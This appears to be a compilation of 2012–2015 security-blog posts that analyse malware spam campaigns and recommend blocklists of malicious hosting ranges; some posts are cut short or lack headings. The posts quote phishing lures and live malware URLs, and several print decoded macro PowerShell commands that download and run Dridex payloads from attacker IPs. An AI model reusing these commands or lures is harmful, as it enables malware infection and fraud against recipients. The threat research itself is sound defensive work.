Malware spam: "Your 2015 Electronic IP Pin!" / "Internal Revenue Service [refund.noreply@irs.gov]"

This fake IRS email comes with a malicious attachment.

From:    Internal Revenue Service [refund.noreply@irs.gov]
Date:    6 March 2015 at 08:48
Subject:    Your 2015 Electronic IP Pin!

Dear Member

This is to inform you that our system has generated your new secured Electronic PIN to e-file your 2014 tax return.

Please kindly download the microsoft file to securely review it.

Thanks

Internal Revenue Service
915 Second Avenue, MS W180

So far I have only seen a single sample of this with an attachment TaxReport(IP_PIN).doc - although there are usually several different versions. Currently this is undetected by AV vendors. This contains a malicious macro [pastebin] which downloads a component from the following location:

http://chihoiphunumos.ru/js/bin.exe

There are probably other download locations, but the payload will be the same. This is saved as %TEMP%\324235235.exe and has a detection rate of 1/55. Automated analysis tools [1] [2] show attempted connections to:

92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)

According to the Malwr report this executable drops another version of itself [VT 1/56] and a malicious DLL [VT 2/56].

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24

Malware spam: "Bobby Drell [rob@abbottpainting.com]" / "Brochure2.doc"

This spam does not come from Bobby Drell or Abbott Painting, instead it is a simple forgery with a malicious attachment.
From:    Bobby Drell [rob@abbottpainting.com]
Date:    5 March 2015 at 10:27
Subject:    Brochure2.doc

Please change the year to 2015.
Please confirm receipt
Thanks
Bobby Drell
Attached is a file Brochure2.doc which has a low detection rate which contains this malicious macro [pastebin] which downloads a component from the following location:

http://data.gmsllp.com/js/bin.exe

This is saved as %TEMP%\324235235.exe. Note that there may be different versions of this document that download files from different locations, but the payload should be identical. In this case the executable has a detection rate of 4/57.

Automated analysis tools [1] [2] show it phoning home to the following IPs:

92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks aka DINETHOSTING, Russia)

Usually this will drop a malicious Dridex DLL, although I was not able to obtain a sample.

Malware spam: "John Donald [john@kingfishermanagement.uk.com]" / "Document1"

This rather terse email comes with a malicious attachment:
From:    John Donald [john@kingfishermanagement.uk.com]
Date:    4 March 2015 at 09:09
Subject:    Document1
There is no body text, but there is an attachment Document1.doc which is not currently detected by AV vendors, in turn it contains this malicious macro [pastebin] which downloads another component from the following location:

http://retro-moto.cba.pl/js/bin.exe

Note that there may be other different versions of this document with different download locations, but it should be an identical binary that is downloaded. This file is saved as %TEMP%\GHjkdjfgjkGKJ.exe and has a VirusTotal detection rate of 2/57.

Automated analysis tools [1] [2] show attempted network traffic to the following IPs:

92.63.87.13 (MWTV, Latvia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)
108.61.198.33 (Gameservers.com / Choopa LLC, Netherlands)

According to the Malwr report it also drops another version of itself with a detection rate of just 1/57 plus a DLL with a detection rate of 7/56.

It does NOT come from Grey Simmons, nor have their systems been compromised in any way. Instead, this is a simple forgery.

I have only seen one sample so far, with an attachment IGM135809.doc [detection rate 0/57] which contains this malicious macro [pastebin] which downloads a further component from:

http://xomma.net/js/bin.exe

This is saved as %TEMP%\GVhjJJVJH.exe and has a VirusTotal detection rate of 4/56. Automated analysis tools [1] [2] show it attempting to phone home to the following IPs:

Malware spam: "Your LogMeIn Pro payment has been processed!"

This fake financial email does not come from LogMeIn, instead it has a malicious attachment:

From:    LogMeIn.com [no_reply@logmein.com]
Date:    25 February 2015 at 08:52
Subject:    Your LogMeIn Pro payment has been processed!

Dear client,

Thank you for purchasing our yearly plan for LogMeIn Pro on 25 computers.
Your credit card has been successfully charged.

Date : 25/2/2015
Amount : $999 ( you saved $749.75)



The transaction details can be found in the attached receipt.
Your computers will be automatically upgraded the next time you sign in.


Thank you for choosing LogMeIn!
Attached is a malicious Excel document called logmein_pro_receipt.xls with a VirusTotal detection rate of 0/56. Usually in a spam run like this there are several different versions of the document but so far I have only seen one, containing this malicious macro. The macro downloads a file from:

http://junidesign.de/js/bin.exe

This is saved as %TEMP%\GHjkdfg.exe and has a VirusTotal detection rate of 3/57. Automated analysis tools [1] [2] [3] show this calling home to the following IPs:

107.181.174.104 (Colo at 55, US / UA Servers, Ukraine)
I outlined some of the problems with MVTW in this post. The Malwr report shows that among other activities, this drops an executable that seems to be another version of itself [VT 3/57] and a malicious DLL which is probably a Dridex component [VT 4/57].

UPDATE:  a different version of the attachment [VT] uses this macro to download from:

The payload is identical to the other variant.

Malware spam: "Berendsen UK Ltd Invoice 60020918 117" / "donotreply@berendsen.co.uk"

MWTV have featured several times on this blog. A close examination of their 92.63.80.0/20 block indicates a mix of legitimate and illegitimate sites, however the bad sites are concentrated in the following ranges:

92.63.82.0/23
92.63.84.0/22
92.63.88.0/24

In addition to this, the malware attempts to drop a Dridex DLL which is widely detected by AV vendors with a detection rate of 30/57.

Multiple spam emails using malicious XLS or XLSM attachment

I'm seeing multiple spam runs (probably pushing the Dridex banking trojan) with no body text, various subjects and either an XLS or XLSM attachment.

Example subjects include:
Copy [ID:15E376774] attaced
RE: Requests documentation [458C28133]
Request error [C3843]
Request error [FDF396530]
Requests documentation [242B035667]


Attachments look something similar to this:
15E376774.xlsm
242B035667.xlsm
458C28133.xls
C3843.xls
FDF396530.xlsm

The XLS and XLSM files are different structurally.. the XLSM files are basically an Office 2007 ZIP archive of all the data components, the XLS files are an old school Office 2003 file. Nevertheless, they contain a macro with 23 components to make it harder to analyse, although the important modules are Module 11 which contains the text string to decrypt, and Module 14 which contains the decryption function itself. Almost everything else is irrelevant.

Once the string is decrypted, it becomes fairly obvious what it going on. So far, there appear to be four strings with different download locations:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.30.42.151/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.235/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.63/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
So, we can see a file dxzq.jpg being downloaded which is actually a CAB file (JIOiodfhioIH.cab) which is then expanded to JIOiodfhioIH.exe and then run.

For information, these IPs are hosted by:

5.196.243.7 (OVH, Ireland)
46.30.42.151 (Eurobtye LLC, Russia)
176.31.28.235 (OVH, France)
92.63.88.63 (MWTV, Latvia)

This executable has a detection rate of 4/56. Automated analysis [1] [2] [3] shows attempted network connections to:

82.151.131.129 (Doruknet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)
74.208.68.243 (1&1, US)

The Malwr report shows that it also drops a DLL with a detection rate of just 1/56.

Recommended blocklist:
82.151.131.129
121.50.43.175
74.208.68.243
5.196.243.7
46.30.42.151
176.31.28.235
92.63.88.63

For research purposes, a copy of the files analysed and dropped can be found here, password is infected

Something evil on 92.63.88.0/24 (MWTV, Latvia)

I've been tracking Dridex for some time, and I keep seeing IPs for MWTV in Latvia cropping up. So far I have seen:

92.63.88.87
92.63.88.97
92.63.88.100
92.63.88.105
92.63.88.106
92.63.88.108

I'm not sure how widely this spreads through the MWTV network, but I would certainly recommend blocking 92.63.88.0/24 on your network perimeter.

Attached is a Word document Customer statement 0001031389 as on 02052015.DOC which comes in two different types with zero detection rates [1] [2] containing two highly obfuscated modular macros [1] [2]  that actually just perform a ROT13 transformation on a couple of strings.

uggc://zjpbq4.pon.cy/wf/ova.rkr
uggc://nyhpneqban.pbz/wf/ova.rkr

Which decodes to:

http://mwcod4.cba.pl/js/bin.exe
http://alucardona.com/js/bin.exe

This has a VirusTotal detection rate of 5/57. Automated analysis tools [1] [2] [3] shows the malware attempting to connect to:

202.44.54.5 (World Internetwork Corporation, Thailand)
66.110.179.66 (Microtech Tel, US)
92.63.88.105 (MWTV, Latvia)

According to the Malwr report this drops a DLL with a detection rate of 2/57 which is probably Dridex.

Malware spam: "Unpaid invoice [ID:9876543210]" drops Dridex

This fake invoice comes with no body text, a random ID: in the subject and a randomly-named malicious Excel attachment

Date:    17 February 2015 at 14:05
Subject:    Unpaid invoice [ID:9876543210]
Some example attachment names are:

3356201778.xls
5EABA06572.xls
6F5FE56048.xls
A6AA331555.xls
B2D4C97246.xls
C9E5445852.xls

There are found different variants, all with very low detection rates at VirusTotal [1] [2] [3] [4]. Each one contains a different variety of macros, and unlike previous spam runs, these are individual modules (which frankly makes it no harder to analyse, just harder to put into Pastebin).

When we decrypt the strings in the macro, we see:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://78.129.153.27/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.87/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://62.76.43.194/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.4.232.206/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
This combines the recent Powershell trick with a new one. Instead of downloading an EXE file, it downloads and unpacks a CAB file, dfssk.cab which is saved in the %TEMP% folder and then expanded to %TEMP%\JIOiodfhioIH.exe.

These download locations are:
92.63.88.87 (MWTV, Latvia)
78.129.153.27 (iomart, UK)
62.76.43.194 (IT House / Clodo-Cloud, Russia)
46.4.232.206 (Hetzner, Germany / Dmitry Zheltov, Russia)

Automated analysis tools [1] [2] [3] show this POSTing to 92.63.88.97 (MWTV,  Latvia), which is definitely worth blocking. Note that one of the download locations for the binary is only a few IPs away at  92.63.88.87.

ThreatExpert also shows attempted network connections to 92.63.88.97 plus:
136.243.237.194 (Hetzner, Germany)
74.208.68.243 (1&1, US)

This Malwr report shows a DLL with MD5 b83b18ffe375fad452c02bdf477864fe which has a VirusTotal detection rate of 3/57.

Malware spam: "Re: Data request [ID:91460-2234721]" / "Copy of transaction"

This rather terse spam comes with a a malicious attachment:

From: Rosemary Gibbs
Date:    16 February 2015 at 10:12
Subject:    Re: Data request [ID:91460-2234721]

Copy of transaction.
The sender's name, the ID: number and the name of the attachment vary in each case. Example attachment names are

869B54732.xls
BE75129513.xls
C39189051.xls

None of the three attachments are detected by anti-virus vendors [1] [2] [3]. They each contain a slightly different macro [1] [2] [3]. The critical part of the encoded macro looks like this (click to enlarge):

It's quite apparent that this is ROT13 encoded which you can easily decrypt at rot13.com rather than working through the macro. These three samples give us:

"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.140/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';" 
"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';" 
"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.175.140/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';"
So, these macros are attempting to use Powershell to download and execute the next step (possibly to avoid the UAC popup). The downloaded binary has a VirusTotal detection rate of 3/57 and automated analysis tools [1] [2] [3] show attempted communications with:

85.143.166.72 (Pirix, Russia)
205.185.119.159 (FranTech Solutions, US)
92.63.88.87 (MWTV, Latvia)
173.226.183.204 (TW Telecom, Taiwan)
27.5.199.115 (Hathway Cable and Datacom, India)
149.171.76.124 (University Of New South Wales, Australia)
46.19.143.151 (Private Layer, Switzerland)


It also drops a DLL with a 4/57 detection rate which is the same malware seen in this attack.

This spam comes from randomly-named companies, with slightly different body text and different subject in each case. Here is an example:

From:    Gale Barlow
Date:    13 February 2015 at 12:30
Subject:    Remittance IN56583285

Dear Sir/Madam,

I hope you are OK. I am writing you to let you know that total amount specified in the contract has been paid into your bank account on the 12th of February at 15:25 via BACS payment system and should reach the destination (beneficiary's) account within 3 working days.
To see full payment details please refer to the remittance advice note attached to the letter.

Any queries? Please reply back with your questions and you will receive a prompt and qualitative response as soon as possible. Please do not hesitate to write us.

There is a malicious Word document attached to the email, so far I have only seen one version of this but usually there are two or more. The document itself has a low detection rate of 1/57 and it contains a malicious macrowhich downloads a file from the following location:

http://62.76.188.221/aksjdderwd/asdbwk/dhoei.exe

This is saved as %TEMP%\dsHHH.exe and has a detection rate of 7/57, identifed as a Dridex downloader. Automated analysis tools [1] [2] [3] [4] show a variety of activities, including communications with the following  IPs:

85.143.166.72 (Pirix, Russia)
46.19.143.151 (Private Layer, Switzerland)
193.206.162.92 (Universita degli Studi dell'Insubria, Italy)
92.63.88.87 (MWTV, Latvia)
78.129.153.18 (iomart, UK)
205.185.119.159 (Frantech Solutions, US)
The malware then drops a Dridex DLL with a detection rate of 3/52  and mysteriously drops another Dridex downloader with a detection rate of 6/57. The Malwr report for that indicates there is some attempting traffic to nonexistent domains.

Recommended blocklist:
85.143.166.72
46.19.143.151
193.206.162.92
92.63.88.87
78.129.153.18
205.185.119.159

Something evil on 146.185.213.69 and probably the whole /24

146.185.213.69 caught my eye, hosting a number of "ads." subdomains, many of which are tagged by Google as being malicious (highlighted below)

ads.warmsanieren.de
ads.coaching-baum.de
ads.fatmansempire.de
ads.marktluecke-berlin.de

ads.loumacfitness.co.uk
ads.cto.lu
ads.hoa.lu
ads.blackcockinn.co.uk
ads.loumacfitness.co.uk

Well, you can probably assume that all those domains are malicious (even without the ads. prefix). But a look at the IP address range was revealing:

inetnum:        146.185.213.0 - 146.185.213.255

The block is owned by RN Data SIA of Latvia and suballocated to somebody in St Petersburg by the name of  Mikhail Evgenyevich Valyalov. RN Data are one of those hosts that have hosted malware in the past, and I tend to lean towards blocking them.

A look at the other contents of the /24 appear [csv] to indicate further suspicious activity, especially f528764d624db129b32c21fbca0cb8d6.com on 146.185.213.53 (mentioned here plus several other places).

So, frankly this entire /24 looks like it is being used for evil purposes at the moment and I recommend that you block it, plus these following domains:

Malware sites to block 18/4/13, revisited

Quite late last night I posted some malicious IP address that I recommend blocking. I've had a chance to look at these more deeply, and some of them are in known bad IP ranges that you should consider blocking.

Most of these IP ranges are in Russia, blocking them will probably block some legitimate sites. If you don't do much business with Russia then it will probably not be an issue, if you do then you should exercise caution. There's a plain list at the bottom if you simply want to copy-and-paste.

IMDB "Your password is too weak" spam / thepharmhealth.com

This spam leads to a fake pharma site at thepharmhealth.com:

Date:      Sat, 9 Jun 2012 18:20:35 -0700 (PDT)
From:      IMDb User Protection [do-not-reply-here@imdb.com]
Subject:      Your password is too weak

This is an automatic message from the Internet Movie Database (IMDb) registration system.
Our system detected your password is too weak. Short passwords are easy to guess.

Please follow this link :

If you used your IMDb password at any other sites, you'll need to change those passwords as well.

It's an interesting and novel approach, and it could easily be adapted for malware rather than fake prescriptions. thepharmhealth.com is hosted on 80.232.131.201 (SIA Lattelecom, Latvia).

NACHA Spam / evrymonthnighttry.com and glasseseverydaynow.com

More NACHA themed spam this morning that redirects victims through a hacked legitimate site to a malware laden page, this time hosted on evrymonthnighttry.com or glasseseverydaynow.com.

These sites are hosted on 46.183.217.119 (Dataclub, Latvia). I can't see anything at all of value in 46.183.216.0/21 so blocking access to all of that range might be prudent.

It also attempts to load an exploit from a site called bbb-complains.org which is not resolving at present.

A couple of example emails:

Some TDL/TDSS rootkit sites to block

The following IPs are related to the TDL/TDSS rootkit. 212.36.9.52 / gic-kbmtu0zkvwylf.com appears to be a C&C server.

94.63.149.10
94.63.149.11
94.63.149.12
94.63.149.13

195.3.145.251
195.3.145.252
195.3.145.253
212.36.9.52

94.63.149.0/24 is a Romanian host called Eurolan Solutions SRL, I've had this blocked for months with no ill-effects. 146.185.0.0/16 is Petersburg Internet Network Ltd in Russia, the whole /16 is sparsely populated and blocking that would probably do no harm. 195.3.144.0/22 is Latvia host RN Data SIA, given that Latvia hosts are such a sewer then blocking the /22 is probably also a good idea.

As for 212.36.9.52 (OTEL, Bulgaria), there appear to be a few malware servers in 212.36.8.0/23 mixed with several legitimate sites. 212.36.9.60, 212.36.9.52 and 212.36.9.52 also appear to be malicious. Blocking 212.36.0.48/28 should filter out the bad sites without blocking good ones.

The following domains are associated with these IPs, if you can't block by IP then blocking these might be a good idea,

Evil network: Relikts BVK / Sagade Ltd (46.252.130.0/23)

One of the most persistently evil IP ranges on the net, Sagade Ltd appears to deal exclusively with criminals and it is hard to find any legitimate customers at all. Despite the arrest of two people closely related to Sagade, the 46.252.130.0/23 netblock seems to be very much active and still up to its old tricks.

Sites in this block are used for injection attacks, malware distribution, phishing and money mule recruitment.

The contact details for this block are:
